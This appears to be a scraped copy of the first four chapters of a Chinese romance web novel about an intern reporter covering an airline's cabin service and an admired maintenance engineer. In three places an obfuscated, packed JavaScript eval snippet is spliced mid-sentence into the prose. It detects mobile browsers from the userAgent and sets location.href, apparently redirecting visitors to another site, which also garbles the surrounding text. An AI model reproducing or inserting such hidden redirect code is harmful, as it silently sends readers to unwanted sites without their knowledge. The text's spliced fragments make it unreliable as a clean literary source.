《起飞前说爱你》 1. 实习 秋日的阳光下，新丽景传媒公司的办公大楼矗立在繁华的大街旁，打扮精致的年轻人不时进进出出，气质里兼具着都市人的忙碌和从容。 魏萱第一次迈入这栋大楼的时候就被这座CBD里最顶尖的建筑征服了。等到看完了那一百多平的茶水间，她心里就只剩下一个想法了，那就是一定要留在这里。所以，她比谁都努力，上班卡打得最早，下班走得最晚，甚至见到保洁阿姨都会客客气气地点头问好。 此刻上了十五楼，出现在面前的是池雪露不同角度的人形立牌，每个立牌上都是她手捧十佳记者奖杯的照片，笑得明媚大方，仿佛坐拥这个世界的好意。 事实也的确如此，作为新丽景传媒公司扛把子式的记者，连主编见了池雪露都要摆出最客气的笑脸。而池雪露也的确对得起这份荣誉，连续四年拿了国内十佳记者不说，更重要的是每年都能帮公司拿到独家爆点新闻，公司的业绩因她直线攀升。 这样的人物，本来跟魏萱是没有半点关系的。即便魏萱想抱人家的大腿，也未必能抱的上。可偏偏魏萱的导师使了大面子，跟池雪露打了招呼，所以她被破例安排在了池雪露手下，成为了由她亲自帮扶的实习记者。 虽然在池雪露手下讨生活并不容易，但这件事说起来怎么着都算是好事。直到某一日，池雪露忽然发现她的某忠犬前男友竟然是魏萱的学长，而且还跟魏萱暧昧过。事情从此一发不可收拾，池雪露看待魏萱的眼神一日比一日厌恶。 “至于么？”苏晓看着魏萱桌上的一摞文稿咬牙，两条眉毛都快拧到了一起。“那个韩逸比她小四五岁，她当时分明就是玩玩而已。再说了，韩逸都离职多久了。” 韩逸是魏萱学长的名字。 魏萱不吭声。 苏晓啧了一声，身下的椅子慢慢退回工位上，无奈道：“不过，她这人就这样。但凡她曾看上的男人，就不许别人再惦记了。也可能因为你长得好看，她酸着呢。” 好看吗？魏萱不用照镜子就知道，她比池雪露差得远。池雪露美得很张扬，是那种在人群里你一眼就能看见的人。而自己，除非是主动站起来拼命招手，否则压根不会有人留意。 “话又说回来，你真的不想独立做一篇报道吗？虽然是实习生，可也不能总让你做校对的活吧。何况现在，你一个人干的活都顶的上三个人的量了，她也太过分了。”苏晓一边转着手里的圆珠笔，一边跟魏萱摸鱼聊天。 提起这件事，魏萱手上的动作一顿。想，怎么不想呢，她做梦都想。哪个学新闻的，不想独立做一篇报道呢？ 可现在，再这样下去，别说拿到十佳记者的称号了，只怕连转正都难吧。 “晓晓，按照规矩，实习生至少能拿到一篇独立报道吧。”魏萱终于开了口。她的声音很好听，有一种山泉水般的幽静，与工位间忙碌嘈杂的各路音色显得格格不入。 “必须的啊。一篇打底，不做独立报道，谁能看出你的本事来。”苏晓也是转正不久，所以对这些事很有经验。 “要不，你去问问主编？”苏晓冲着前面的办公室挑挑眉。 魏萱心动了。可能是因为被池雪露骂得太多的缘故，她这些日子脑子里经常会出现韩逸表白失败后对她的一顿讽刺。 “就你这样的，还想做名记？别痴心妄想了。人家名记都是上得了台面的，逻辑得强吧，胆子得大吧，反应得快吧，脑子得好使吧。你连个辩论社团的面试都没通过，还想当名记呢。”韩逸学的也是新闻专业，而且还早早成了导师手下的实习生，所以颇是自矜。 “我把话撂在这了，你要是能拿到十佳记者，我直播吃x。” 韩逸翻脸不认人，表白的时候有多腻歪，骂起人来就有多恶毒。 魏萱收回思绪，心里充斥着一股劲头。借着这股劲，她一口气冲到了主编办公室。 糟糕，池大记者竟然也在！魏萱后悔不已，光顾着听苏晓说话了，竟然没看见她是什么时候走过来的。 看见魏萱微微低着头，被池雪露怼得一肚子的火气的陈昱没什么好脸色。“你谁啊，抬头说话。” “这是魏萱，我手下的实习生。”池雪露眼睛一眯，耳边的金色耳环一甩，她又转过头去继续方才的话题：“陈主编，我的话您同意吗？这种稿子一点爆点都没有，我们接它做什么？” “这，这不也是给公司创造效益么。再说了，明珠航空这么大的公司，咱们与人家保持友好的业务往来，也是好事……”虽然当着实习生的面，可陈昱对池雪露的态度还是很客气。 被撂在一边的魏萱觉得有些尴尬。她咬咬嘴唇，决定呆会再过来。 可是，在即将出门的一刹那，池雪露的声音又在耳畔响起。“这样吧，我有个折中的主意。”池雪露傲慢地转过头来，指着魏萱道：“我这个实习生挺有本事的，就是一直没拿到什么好新闻。把这个上市宣传的系列报道给她吧，没准能做出亮点呢。” 是做出亮点，而不是做成爆点……也就是说，在池雪露这个名记的眼里，这个新闻没有半点成为爆点的可能。 陈昱蹙蹙眉，指节点了点桌上的文件道：“不太好吧。明航提出的是客舱职业体验，也就是从空姐的身份出发，让明航的人性化服务广为人知，以此助力明航上市。可她……” 魏萱感受到二人的目光齐齐投向自己。 是的，穿上鞋，魏萱的身高正好一米五五。这样的身高，显然做不了空姐这份工作。毕竟，连关上行李舱都困难。 池雪露有点戏谑地笑了，可旋即又收回笑脸，嗔怪地看向陈昱。“我说陈大主编，您是不是想得太多了。我们毕竟是记者，虽说是职业体验，但也不会真的让她干什么活。毕竟，人家是正儿八经的航空公司，不能让她在旅客面前丢人吧。” 这话说得很露骨，连陈昱也有些担忧地看向魏萱。可出乎他的意料，魏萱竟然平静得像一滩水一样。 “您还犹豫什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392810|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”池雪露蹙蹙眉，有些不满意道：“要不然，我们组就不接了。您把这个新闻给B组吧。” “B组？不行不行，B组最近正为了陆言言出轨的事忙得不可开交呢，那可是大新闻。”陈昱连连摆手，又看了一眼魏萱道：“那个……” “我叫魏萱。”魏萱立刻跟上。 陈昱嗯了一声，双手叉腰，有点烦躁道：“魏萱，那这个报道就给你了。不过我得先跟你说明白，明航是即将上市的大公司……” “好啦，我的陈大主编。”池雪露眯着眼睛打断他的话。“您放心吧，我的人，我会好好教明白的，不会给咱们公司丢人的。” 池雪露明媚的笑意让陈昱晃了晃神。趁着这个功夫，池雪露冲着魏萱使了个眼色。魏萱知趣，从陈昱面前的桌子上摸走那份明航的文件，便立刻溜出了主编办公室。 “拿到了？”苏晓端着咖啡站在门口，显然是借着倒咖啡的功夫过来刺探军情。魏萱点点头，难得抿唇笑了，又忍不住垂眸去看手里的文件。 “明航上市宣传系列报道？！”苏晓差点被嘴里的咖啡呛住。“我说姐姐，这是什么四平八稳的新闻啊！写好了，最多有人夸你文笔好而已。半个爆点都找不到！总不能说人家公司的空姐和机长……” “有就很好了。”魏萱满足地将文件抱在怀里。她坚信，这是她走上名记者之路的第一步。早晚有一天，她会成为池雪露一样的人物。到那天，她一定会善待自己手下的实习生的。 “有没有什么要嘱咐我的？”魏萱脸上的笑意藏不住，拉着苏晓往工位走。 苏晓叹口气，又抿了一口咖啡道：“怎么说呢，这种大公司一般很难对付，他们会要求你按照他们的思路去写报道。即便你想创新，基本上也是不可能的。所以，我的嘱咐是，准备好简历，试着投一投其他公司吧。想在新丽景转正，靠这篇报道，基本上是不可能了。” “别那么悲观嘛。”魏萱嘴上这样说着，心里其实也有些不安。 可是，这是她唯一的机会了。 等到池雪露从主编办公室出来，已经是十分钟之后了。她冲着魏萱勾勾手指，魏萱立刻垂眸跟了上去。 “我的嘱咐只有一句，就是不要惹事，不要给公司抹黑。”池雪露利落说道：“按照明航那边的要求，你下周一过去，这两天可以做做准备。因为是系列报道，所以时间可能比较长，总之就辛苦一下吧。” “还有问题吗？”池雪露回过头来，见她还站在原地，不由得蹙起了眉头。 “没有。”魏萱立刻回答。 “那就好。”池雪露满意地点点头，又顿了顿，好像忍俊不禁似的笑道：“对了，你得买两双高跟鞋吧，空姐嘛……” 魏萱忍了下来，没有回应半句。临出门的时候，她又隐约听池雪露冷笑念叨了一句。“也怪不得被韩逸甩了……谁能看得上……” 被韩逸甩了？魏萱蹙蹙眉。难道韩逸是这么对池雪露说的？ 2. 积碳 出门之前，魏萱拉开了出租屋的塑料鞋柜。鞋柜里大多数都是运动鞋，只有一双红底高跟鞋。这双鞋是自己接到第一个采访任务的时候买下来的，那时还在上大学，所以鞋子也不算贵，但至少看上去算是体面。 可是，如果没有工作能力，那体面又有什么用。何况穿上高跟鞋走不快，也跑不起来，她怕会错过一些抓拍和细节。所以魏萱想了想，还是选了一双舒服的运动鞋。 明航外联部的人消息灵通，早就听说来的是国内数一数二的漂亮记者池雪露，因此男人们打扮得都十分精神。直到魏萱出现在会议室里，众人眼里的失望显而易见。 幸好，与她对接的是负责人是位中年妇女，笑眯眯地安慰魏萱。“只要能写出好报道，就是我们欢迎的好记者。” 魏萱笑了笑。这话听上去好听，实际上却也不是那么回事。不过，本身就是她们公司失礼在先，派了她这个实习记者过来，也怪不得人家会不满意。 “张经理您放心，我一定竭尽全力。”魏萱看着她胸前的铭牌，笃定说道。 张莉萍的脸色好了一些，语气也真诚不少：“我们领导很看重这一系列报道，所以你要多费心了。如果有什么需要，只管找陆思羽就行了，她年纪跟你差不多大，沟通起来应该容易一些。” 之后，张莉萍又跟魏萱介绍了客舱部的两位乘务长和一些相关人员。然后，便让陆思羽带着魏萱去了停机坪。 “你今天不用跟飞，看看客舱部的工作准备就行了。这架飞机和这个飞行班组正好空闲，领导吩咐她们给你讲讲她们的日常准备工作。”陆思羽长相清秀，性格大方，是个很好相处的人。她三言两语便跟魏萱混熟了。 “跟飞？”魏萱重复了一遍。 “就是跟着机组一起飞航班。”陆思羽快速解释道。 魏萱表示明白，从背包里拿出了笔记本，又冲着身后的摄影师点了点头。摄影师也是池雪露选的实习生，魏萱提前看过他的作品，只能说是差强人意。不过，至少比没有强。 几人一道上了飞机。因事先被领导嘱咐过，所以机组的乘务员们都很客气。可这些人也是人精，没多一会便看出魏萱不是那位传说中的名记，因此也就没那么诚惶诚恐了。 魏萱不在意她们的态度，她眼下只想知道明航作为人性化服务做得最好的公司，到底有哪些亮点。抓不到这些亮点，她的稿子是出不来的。 就在这会，眼前的空姐们忽然热闹起来。 “啊啊啊，是傅予深！” “太帅了吧！！机务这身白衬衫，只有他能穿出男明星的味道！” “没错没错，这黑色对讲机他用起来也太合适了吧，分分钟韩系idol的感觉。” “不是，他腿也太长了吧！” “我已经忽略他的腿了，他这张脸实在太吸引我了。” …… 魏萱无奈地将笔尖从本子上移开。倒不是写不下去，而是能给自己介绍的人都跑光了。 “你不来凑凑热闹吗？这可是我们明航机务的天花板。”陆思羽坐在距离魏萱最近的座椅上，长长的睫毛都要杵到飞机的舷窗上了。 “我又不追星。”魏萱浅浅笑了下，合上本子利用这个间隙去看摄影师拍的照片。 一张，两张…… 然后，一个身穿白衬衫的男人跃入她的眼帘。 这张照片是透过明航的舷窗拍摄的。舷窗显然很干净，因为她能看清男人微松的领口，饱满的喉结，微微翘起的眼尾…… 光是长得帅也就罢了，偏偏身材也很好，明眼人一眼就能看出那白衬衫下面藏着的一定是腹肌。这是哪个即将上飞机的男明星？魏萱认不出来。 “你们拍到傅予深了？”陆思羽的声音吓了魏萱一跳。 傅予深？魏萱抬眸向下看了一眼。只见舷窗外，照片里的男人此刻背朝天空，正冲着一架即将起飞的飞机淡笑挥手。这是一个线条极致优雅又力量感十足的男人，让人只看一眼便荷尔蒙乱迸。 怪不得机组的这些人…… “怎么样，没骗你吧，够天花板吧。”陆思羽挑挑眉毛，凑过来神神秘秘道：“不瞒你说，这傅予深可是我们公司，不，应该说是民航业内最顶尖的机务工程师之一。不管多麻烦的飞机故障，只要咱们傅工程师一出手，绝对稳准狠！” “这么厉害。”魏萱垂眸又看向照片里的他，只见他的双手骨节分明又白皙光滑，怎么瞧都瞧不出有治愈飞机这个庞然大物的能力，倒很像出门巡视自家生意的总裁，矜贵又高冷。 但很快，魏萱就知道陆思羽的话是真的。 等到魏萱和机组一起下飞机的时候，天已经下起了雨。魏萱把自己带来的那把伞给了陆思羽，自己则顶着背包向楼里跑。 就在这会，她看见了另一架飞机前的傅予深。他比方才多穿了一件深蓝色的工装，笔挺的衣领修饰着完美的棱角，只是乌黑的发丝染了雨水，显出潮湿温润的质感，倒让他显得有些平易近人了。 “他在做绕机检查。”陆思羽陪着魏萱一道站在雨棚下。察觉到魏萱有些惊讶的眼神，陆思羽笑了笑：“我以前是安全质量部的，所以多少了解一些。” 魏萱点点头，这才发觉机组的那些乘务员都没走，这会都站在雨棚下。她们看似在补妆，实际上眼神都有意无意地瞥向傅予深的方向。显然，他吸引人的程度足以赶上机场的明星。 “谁都想当他女朋友。”陆思羽忽然嘟囔了一句。“也是，他家……” 魏萱没听清，她正怔怔看着站在飞机身旁的傅予深。从他熟稔的动作和专注的神情里便能看出，这架钢铁巨兽早已臣服在了他的脚下。他比飞行员更了解飞机的心事，也比创造者更了解它的现状。 “减震支柱内筒伸长量正常，镜面无损伤无油液泄漏。”他冲着对讲机淡淡说着，眼神如精密的扫视仪器，深邃而认真。 魏萱不知不觉就看呆了。“这样的检查，要多久？”她慢慢开口问道。 “大约有几百项，时长就说不准了。”陆思羽平静回答。“而且，雨天，雪天都不能落下。我记得我刚上班那一年冬天，几乎有零下三十度了。就是在那样的环境下，傅予深研究出属于明航的傅予深检查法。这个检查法，获得了局方的百万奖金……” “百万……”旁边的摄影师咽了咽口水。 “这点钱对他来说不算什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392811|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”陆思羽笑了笑。从她讳莫如深的眼神里，魏萱感觉到，傅予深的身份好像不止于此。 “第四级低压涡轮叶片有油液沉积，需要水洗。”傅予深稍稍抬高了声音，冲着对讲机说道。不远处立刻有一群衣着相同的工作者顶雨走了过来。 “这是谁负责的？”当中有一位领导模样的人立刻板脸道。 “我！”一位青年伸手答应了，却又有点不服气道：“不过，傅工程师看错了吧，这架飞机是凌晨刚飞出去的。凌晨我确认过，绝对没有积碳。就飞了这么一圈，怎么就可能积碳了呢。” “你去看看。”领导指了发动机方向。 “不用看。凌晨我和韩大宇一起做的清洗，洗得干干净净，不可能这么快积碳。领导，您忘了，早上的水洗是您亲自签的字。”李辰说着话，没忘了瞥一眼傅予深。他觉得有点好笑，二十多岁的人就能被奉为业内神话了？ “让你看你就看。”领导冷了脸，指着韩大宇跟他一起过去看。不过，说实话，他心里也觉得不应该这么快积碳。 李辰不服地哼了一声，跟着韩大宇一起绕到飞机的另一边。 五分钟之后，两个人脸色窘迫地走了回来。 “真有？”领导挑了挑眉毛。 李辰拉着一张脸，不情愿地嗯了一声。 韩大宇嘀咕了一句。“太打脸了。”听了这话，李辰的脸色更难看了些。 “不应该啊？不会要换发动机了吧。”领导倒是没在意几个小崽子是否下不来台，而是啧了一声道：“完了，又要延误。” “不会延误。”一直在检查单上勾画的傅予深淡淡开了口。“森哥，如果我没猜错的话，附近应该有人大面积燃烧秸秆。是四处飘浮的烟尘被飞机发动机吸入，才造成发动机内部积炭。所以水洗即可。” “燃烧秸秆？”韩大宇往左右看了一圈，没看见半点烟雾缭绕的地方。 李辰鼻子最灵，这会半点味都没闻出来，心里直道不可能，可一想起自己刚才打脸的模样，便歇了心思，没敢说话。 乔森咳了咳，带着怀疑，默默拨通了方才执飞的机长的电话。几个对话之后，他挂了电话，冲着众人点了点头。“机长证实，方才路过一片燃烧秸秆地域。” “靠！这都能推断出来！”李辰彻底震惊了。 韩大宇挠挠头。“原来还有这种可能？！” 在众人的一片哗然声里，魏萱起了一身的鸡皮疙瘩。她第一次见到一个在自己的领域如此出众而又笃定的男人。说实话，还真是挺有魅力的。 “这就是外界因素对飞机造成的影响，你们的手册都学到狗肚子里去了？”乔森蹙蹙眉骂了两句，心里却不得不承认，其实他也没料到还有这种情况。看来这傅予深的确是个人物，不得不服啊。 “他真厉害。”魏萱看呆了，呐呐道。 “这算什么。”陆思羽笑了笑，接通了正在嗡嗡作响的电话。挂了电话后，她的笑意淡了一些。“魏记者，明天跟你对接的空姐人选定下来了，她叫范姜合。” 魏萱点着头记下来，却注意到陆思羽提起范姜合的时候莫名看了旁边的傅予深一眼。难道，这两个人有关系？ 3. 硬币 回到家里，魏萱先洗了个澡，随后便穿着睡衣窝在沙发上，一边咬着红苹果一边翻看着今天的笔记。可越看，她的心里越觉得不安。 明珠航空的人性化服务的确做得很好，在国内也是可以名列前茅的。可要紧的是，其他航空的服务或许会差一些，但实际上不过是100分和99分的差距而已。这点差距，根本谈不上是优势。 所以，如果照下去的话，这篇报道真就成了一篇平平无奇的作品了。魏萱咬咬牙，她是个不服输的人，既然接了这个报道，就一定要把它做到极致。不就是个爆点么，她不信自己找不到。 次日，魏萱起了个大早，拿着工作证登上了今天要跟飞的飞机。因为今天的机组与昨天的有一部分人重合，所以此刻有几位乘务员冲她打了打招呼。 “听说是范姜合跟你对接今天的工作吗？”一位乘务员一边整理着餐盒，一边笑眯眯问道。 魏萱点点头。 乘务员不说话了。 旁边便有人悄悄扯了魏萱的袖子，低声说道：“范姜合是傅予深的绯闻女友。她的包都贵得吓死人了，大伙都说是傅予深送给她的呢。” “这样啊。”魏萱表示明白，却并没有太在意。 过了一会，果然飞机上出现了一位身穿制服的美艳空姐。她分明化着优雅的淡妆，可还是唇红齿白，极其美艳。更要紧的是身材也是一等一的好，细腰短裙，黑色丝袜修饰出她笔直的长腿。 魏萱看了一眼，忍不住想，自己要是有这个长相，肯定进娱乐圈了好不好！ “您就是魏记者对吗？”范姜合的语气里带着一种职业化的尊重。 魏萱点点头递过自己的名片，又简单介绍了身后的摄影师。 “那就给您添麻烦了。按照张经理的要求，我会正常工作，您随时记录。如果有什么问题，您直接告诉我就好。不过，出于对旅客的尊重，只怕摄影师有很多素材不能拍摄。” “没问题。”魏萱毫不犹豫答应下来。想了想，又补了一句：“如果需要的话，我也可以分担你的工作。” “你的工作已经很辛苦啦。”范姜合冲她挤挤眼，笑着走开了。 魏萱晃了晃神。她可真漂亮。 于是在之后的工作时间里，始终是范姜合自如地游走在旅客之间，不时迎来旅客的频频注目和赞赏。至于魏萱，则被大多数旅客当成了一个喜欢在过道里乱逛的闲人。不过好在，报道的素材倒是积累了不少。 等到跟飞一趟回来，已经是下午了。范姜合站在登机口送走了最后一位旅客，又收拾好了客舱的所有备品，这才拉着魏萱一道下飞机。 旁边有空姐眼尖，看着范姜合的新鞋道：“姜姜姐，这双鞋不会也是定制款吧。” 范姜合不好意思地笑笑，没有回答。 “还得是我们深哥，就是大方。”“话说，深哥真是绝了啊，除了跟姜姜姐说话之外，对咱们谁都不怎么搭理。太让人羡慕了吧。” “他就那样，你们别跟他一般见识。”范姜合轻轻说着，眉眼低垂，却也有几分自在。 而这会，旁边的另一架飞机处传来了喧闹声。 “是咱们公司的飞机。”乘务长最早下飞机，这会已经将情况摸得七七八八。“有一位旅客往发动机里扔硬币了，机务不确定硬币数量，这会正在询问，但那老人嘴犟，怎么都不说。要不，你们谁不着急回家，过去看看吧，没准能帮上忙。” “我去吧。”范姜合瞥了一眼不远处傅予深的轮廓，又看了看身边的魏萱。 魏萱连忙打包票。“放心，我绝不拍照，也不可能写进报道里。” “那好，我们一起过去。”范姜合又叫了两个姐妹，又笑了笑，示意摄影师就别动了。摄影师自然答应。 “哇，傅予深也在！”一人扯着范姜合的袖子，忽然有点紧张道：“姜姜姐，看来这架飞机是重点航班呢，他竟然亲自出来送飞机了。要不，咱们别过去凑热闹了。” “我们是来帮忙的。”范姜合淡淡回了一句，便踩着高跟鞋走到了傅予深的身旁。而后，在众人一脸羡慕的眼神里，她轻声道：“予深，你们问不出来的话，我过去试试吧。” 始终沉着脸的傅予深微微抬眸，视线却很快落在了魏萱身上。 当然不可能是因为魏萱漂亮，而是那张记者证太引人注目了…… “她是公司内部请来的记者，不会乱拍照。”范姜合替她解释了一句，但傅予深的脸色依然不好。魏萱见了，不免有些紧张。他身上的气势太足了，即便魏萱见过许多大明星，但也都跟眼前这个男人没法比。 “让他们回来吧。”傅予深淡淡开口，立刻有人过去叫回了与那老太沟通无果的几位机务。 “深哥，这旅客根本不承认丢了硬币。这样下去，咱们也问不出来她到底丢了几枚啊。”韩大宇无奈道。“要不，咱们交给有关人员吧。” 傅予深看表，时间有些紧张。 “我去问，你放心。”范姜合伸手按住傅予深的胳膊，递给他一个安心的眼神。傅予深微微蹙眉，可不等抽回手，范姜合已经松开走远。 “靠，还得是嫂子。”韩大宇竖起大拇指，但话全是用唇语说出来的，所以傅予深并没听见，只有几个机务小伙子跟着一块吃吃笑起来。 背对着众人，范姜合调整出最完美的笑容，微微躬身站到了那位老太的面前。老太太面容死板，手里紧紧抓着一个布包，根本不看她。 “阿姨，我知道您觉得往飞机里丢硬币是一种祈福的方式。可实际上并不是这样的，您面前的是我们飞机的发动机。如果硬币被丢在发动机的内涵道里，那整架飞机都会变得很危险。所以如果我们找不到您丢的硬币，这架飞机恐怕一时半会就不能起飞了。这样的话，也会耽误您出门吧。”范姜合的声音温柔甜美，一点都挑不出毛病。 “要不说人家是标兵乘务呢，看看这话说的，让人一点脾气都没有。”李辰连连啧舌。 范姜合自己也觉得，她的话很是善解人意了。 可惜，面前的老太太脸色微变，很快回了她一句。“你跟他们是一伙的噢，我都知道哟。你们莫要哄我哟。” “不是这样的，阿姨您听我说。” “硬币拿出来就没得福气哟。”那老太太扔下一句话，就背过脸去了。 ……范姜合尴尬极了。 “没事没事，跟这种人说不明白话是正常的。”李辰看着无功而返的范姜合，赶紧劝道。 范姜合勉强冲他笑了笑，又走到傅予深身边道：“予深，这阿姨的确油盐不进。要不……” “停场吧，不飞了。”傅予深一锤定音，又淡淡解释道：“即便她现在说了，我们也不能冒这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392812|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个险。所以还是办停场，好好检查。” “马上落实。”有人将对讲机放到了嘴边，有人开始计算检查时间。范姜合没了帮忙的机会，只能迈开长腿要带着魏萱等人离开。 谁也没想到，众人转身的空荡，魏萱与那老太太打了个照面。借着这个空儿，她鼓足勇气，低声说了一句。“侬姨的法子有些过时哟。我们镇的大师说哟，硬币要见三，出入保平安。” 其实这方言她说起来并不熟练，不过是在校期间采访过一位同样操着这种方言的画家，这才学了两句。不过，也足以让那老太太卸下防备了。 “怎么是见三哟，分明是见五。我们师傅说，投钱要得五，出门才接福。”那老太太下意识地反驳了一句。 虽然魏萱声音不大，但老太太的嗓门洪亮。众人自然都听见了。范姜合最先反应过来，有些小心地对着傅予深道：“深哥，你看……” 感受到范姜合的紧张，魏萱其实有点后悔自己的多嘴，可这种情况下，自己自然是该尽力才好。 傅予深的眉眼依然冷峻，仿佛藏着大海般的心事，谁也看不穿。不过，魏萱看见他修长的手指握住了对讲机，淡淡说了一句。“刚刚得知，旅客自述丢掷硬币五枚，可以作为参考。” 一句话，让魏萱提着的心彻底放了下来。 “帮我谢谢她。”傅予深对着范姜合开口，虽然没看魏萱一眼，但声线却比刚才温和。自然，魏萱也没妄想着能得到傅予深的什么关注，只要能帮上一点忙，就已经不错了。 “挺厉害啊，小姑娘。”机务部的经理乔森却不吝夸奖，毫不犹豫地冲着她竖起了大拇指，又跟着属下挠挠头道：“看吧，我就说咱们机务也得招个机灵的小姑娘。” 魏萱正被夸得不好意思，回眸却一下子撞进范姜合微微发凉的目光里，她不由得一怔。 然而很快，那目光已经像自己的错觉一般飞速消失，取而代之的是范姜合笑眯眯的神情。她挎住魏萱的胳膊。“多亏你了。”她夸得一脸真诚。 魏萱不觉得自己有那么大的功劳，反而道了几句歉。但到底是帮了大忙，那些人高马大的机务们都对她笑了笑。有的甚至跟乔经理开玩笑，问能不能真的招来一个女机务。 一时，大伙关注的焦点似乎全都到了魏萱的身上。就连不知何时出现的陆思羽也啧啧说了一句，怪不得你们公司派你过来，还真是有两下子。听见这话，魏萱更不好意思了。 这样一圈折腾下来，等到坐着公交车到了家，已经是傍晚了。人一累就不爱吃东西，魏萱收拾干净，径直裹上睡衣翻看笔记本。跟飞了一天，她再度为明航近乎没有缺点的服务折服，同时也为自己的这篇报道感到深深的苦恼。怪不得人家池雪露看不上，还真的是啊，一点爆点都找不到。 魏萱下意识地咬了半天笔尖，心里忽然又想起了白天的硬币事件。而后，傅予深那张酷似国内某硬汉男星的脸渐渐浮现在眼前。不可否认，魏璇没见过这么有魅力的男人，棱角分明，一身肌肉，眼眸深沉笃定，最要紧的是，蓝天白云，广袤机坪，钢铁巨兽，实在衬得他有一种要命的硬朗。 这一晚，魏萱做了个梦。梦里，她采访了傅予深。什么予深检查法，什么民航百万奖金，再加上一双操控机身的修长大手，还有那张明星脸……这篇报道一炮而红，果然让魏萱成为了当红名记。 4. 咖啡 睡醒一觉，魏萱似乎清醒了许多。她一边刷牙，一边听起了苏晓刚刚发来的语音。“采访傅予深？不太可能吧，之前好像B组那边查过他，不过切入点不是他的工作，而是傅家。傅家你不知道吧，我也弄不清楚，不过据说算是半个豪门，只是低调得很。后来好像雪露姐还把这个报道从B组抢了过来，然后亲自跟了一个月，可惜人家一点面子都不给，说是不可能接受采访。唉，想想就可惜，豪门大少拒绝偌大家业，只身为热爱买单，心向蓝天，啧啧，多好的题目啊。” 六十秒的语音听完，魏萱意识到自己昨晚的想法就只能是个想法而已。众所周知，池雪露是个铁头美女，连她都没能成功的事，到自己这里就更不现实。不过不要紧，很多事原本就没有捷径可走，当红名记也不是一篇两篇报道就能堆出来的。 饭，还是要一口一口吃。眼下，自己能做的就是牢牢抱住现在的这个机会，好好地做出一篇报道。这篇报道未必有多红，但却一定要成为自己转正的凭仗。她要靠着这篇报道，在新丽景站稳脚跟。 下一条语音依然是苏晓的。“今天周日，要不要一起去新开的牧场玩玩呀？据说有家咖啡厅很不错。” 魏萱没动心，有点歉意地回了条语音。“抱歉，上午得去公司，有一个稿件需要校对。下午还想去图书馆，查查历年的航空公司报道，看看能不能汲取点灵感。” 苏晓发来一串省略号，但很快，语气又轻快起来。“我啊，真是佩服你。就冲你这个劲头啊，明年的十佳记者非你莫属。” 魏萱笑了笑，镜子里出现一个皮肤皎白的梨涡少女，与苏晓开起了玩笑。“如果颁奖方是你就好啦，我就可以直接躺平了。” 说完了这个玩笑，她又点开下一条微信。是她妈妈发过来的，内容很简短。“转不了正就回家。” 魏萱没有回复，吧哒一声轻轻锁上屏幕，简单地绑起了一个高马尾。是的，对于苏晓这样的人来说，每一份工作都可有可无。但对魏萱来说不一样，家里给她的时间不多，所以转正是迫在眉睫的压力。 不到九点，魏萱已经坐在工位上了。除了她之外，来加班的人三三两两，最显眼的自然还是池雪露。她办公室的玻璃硕大干净，因此所有人都能看见她笔直纤细的腰身对着面前的两台电脑，手边还摆着一杯美式。说实在话，魏萱很佩服池雪露，这个女人不仅工作出色，而且妆容永远不花，头发永远不乱，耳环永远都不会重样。也怪不得公司里不管多大年纪的男人，十有八九都喜欢她。 要是有一天，能成为像池雪露一样的名记就好了。魏萱再次暗下决心，而后便将心思全都用在了眼前的稿件上。她不像别人一样排斥校对这个工作，因为她觉得，校对也是学习的过程。 人一忙起来，就顾不得时间。等到再抬起头，已经是快到十二点了。眼前似乎还有一行行文字在晃悠，为了下午去图书馆清醒一些，魏萱起身走向茶水间。 周末的茶水间很安静，只有一个新来的实习生，名字叫赵南——人称赵怼怼。据说他跟公司高层有些关系，所以上到主编，下到同事，赵南没有一个放在眼里。不过，他跟魏萱一直挺好的，因为魏萱总是很热心，总是能把他接过校对的活儿。 “萱萱！”赵南白净瘦高，带着无框眼镜，眯着眼一笑。 “你这是？”魏萱不觉得他是加班型选手。果然，赵南笑了笑，指着外头CBD景色道：“看风景，喝咖啡，打游戏……” “行吧，挺潇洒。”魏萱笑了笑，对他道：“宣安城的那个报道，我帮你校对完了。你要是不放心，就再看看。” “哎呀，还得是我萱姐。”赵南眼睛更细了，笑眯眯道：“萱姐您想喝点什么？咖啡？啧，巧了么不是，我刚带来的豆子，你尝尝，云南的。” 魏萱道了谢，正要将手里的杯子递到赵南伸出来的手里，却见一条白白瘦瘦的胳膊端着一个空空如也的杯子横在了她的面前。 “倒满。”池雪露用唇语说着，另一只胳膊举着电话放在耳边，红唇深挑，眼眸明媚。最重要的是，她看都没看魏萱和赵南两个人。 魏萱早就习惯了，赶紧闭上嘴伸手去接池雪露的杯子。没想到，赵南真是天不怕地不怕，竟然拉下脸地对着池雪露说了一句。“排队啊……等着……” ……魏萱一阵无语。在新丽景的茶水间，池雪露什么时候排过队啊！！ 